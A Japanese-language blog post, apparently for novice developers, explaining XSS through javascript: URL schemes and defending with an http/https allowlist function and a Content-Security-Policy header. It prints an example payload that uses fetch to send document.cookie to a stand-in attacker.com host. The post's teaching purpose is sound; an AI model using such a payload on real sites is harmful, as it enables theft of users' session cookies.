玄関の鍵、どこまで信頼しますか?「javascript:」スキームという盲点
こんにちは。日々の開発、本当にお疲れ様です。
セキュリティの世界に足を踏み入れると、「SQLインジェクション」や「クロスサイトスクリプティング(XSS)」といった強そうな名前の攻撃に圧倒されてしまいますよね。
今日は、そんな中でも「えっ、そんな単純なことで突破されちゃうの?」と、多くの新米エンジニアが油断してしまいがちな「URLスキームを使った攻撃」についてお話しします。
身近な「家の防犯」に例えながら、一緒に紐解いていきましょう。
—
「javascript:」は、合鍵を勝手に作られるようなもの
想像してみてください。あなたは自分の家の玄関に「ドアを開けるためのボタン」を設置しました。
通常、そのボタンを押すと「近所のお店(外部サイト)」へ案内される仕組みです。
しかし、攻撃者はここに「魔法の合鍵」を仕込みます。それが javascript: というスキームです。
本来、URLは https://google.com のように「どこへ行くか」を指すものですよね。でも、ここに javascript:alert('ハック完了!') なんて記述を埋め込まれると、ブラウザは「おっ、これはウェブサイトへの移動じゃなくて、その場でプログラムを実行しろって命令だな!」と勘違いして、そのコードを動かしてしまいます。
これがXSS(クロスサイトスクリプティング)の一種です。ユーザーがうっかりそのリンクをクリックした瞬間、ブラウザという「あなたの家の玄関」で、攻撃者が用意した怪しいプログラムが勝手に暴れ回ることになるんです。
—
「見た目」だけでは防げない!
多くの開発者が陥る罠が、「見た目が正しければ大丈夫だろう」という思い込みです。
例えば、ユーザーがプロフィール欄にURLを入力できるフォームを作ったとします。
- 入力値:
https://my-blog.com - 悪い入力値:
javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
後者の入力値は、一見「URLっぽいもの」としてデータベースに保存され、出力時に として表示されます。ユーザーが「自分のサイトへのリンクかな?」と思ってクリックした瞬間、クッキー(ログイン情報など)がごっそり盗まれてしまうわけです。
—
防御の鉄則:ホワイトリスト方式を採用しよう
では、どうやって防げばいいのでしょうか。一番確実でシンプルなのは、「許可したもの以外は、絶対に受け入れない」という姿勢です。これを「ホワイトリスト方式」と呼びます。
1. プロトコル(スキーム)を厳格にチェックする
URLの先頭が http: や https: で始まっているか、プログラム側でチェックしましょう。
// 安全なURLかどうかを判定する関数(例)
function isSafeUrl(url) {
// 小文字に統一してチェックする
const lowerUrl = url.toLowerCase();
// http か https で始まっているかを確認
// javascript: や data: など、怪しいスキームをシャットアウトします
return lowerUrl.startsWith(‘http://’) || lowerUrl.startsWith(‘https://’);
}
// 使うとき
const userLink = getUrlFromUser(); // ユーザー入力値を取得
if (isSafeUrl(userLink)) {
renderLink(userLink); // 安全ならリンクを表示
} else {
renderLink(‘#’); // 怪しければ無効なリンクに差し替える
}
「これだけ?」と思うかもしれませんが、セキュリティの基本は「疑わしいものを排除する」こと。これだけで、javascript: による攻撃のほとんどは未然に防げます。
—
守りを固めるもう一つの盾:「CSP(コンテンツセキュリティポリシー)」
コードの修正に加えて、「ブラウザ自体にルールを教え込む」という強力な盾があります。それが「CSP」です。
Webサーバーからブラウザに向けて、「このサイトでは怪しいインラインスクリプトは絶対に実行しちゃダメだよ!」と指示を出す仕組みです。
例えば、HTTPヘッダーに以下のように設定します。
Content-Security-Policy: default-src ‘self’; script-src ‘self’;
これだけで、たとえ攻撃者がリンクを埋め込もうとしても、ブラウザが「いや、このサイトのポリシーに違反しているから実行できないよ」と門前払いしてくれるようになります。まさに、最強の門番ですね。
—
まとめ:セキュリティは「泥臭い積み重ね」から
セキュリティ対策というと、何か派手で難しい魔法のような技術が必要だと思われがちです。ですが、現場の最前線で起きているインシデントの多くは、こうした「入力値の検証漏れ」という基本的なミスから始まります。
1. 信用しない: ユーザーからの入力は、すべて攻撃のタネだと思って接する。
2. ホワイトリストを作る: 「これだけはOK」と決めて、それ以外は徹底的に排除する。
3. 多層防御: アプリのコードだけでなく、CSPのようなヘッダーでも守りを固める。
この一歩ずつ確実な積み重ねが、あなた自身と、そしてあなたのサービスを使うユーザーを守る最高の武器になります。
まずは今日、あなたの書いているコードで「URLのスキーム」が野放しになっていないか、チェックしてみてくださいね。一つひとつ、一緒に安全な場所を作っていきましょう!
コメント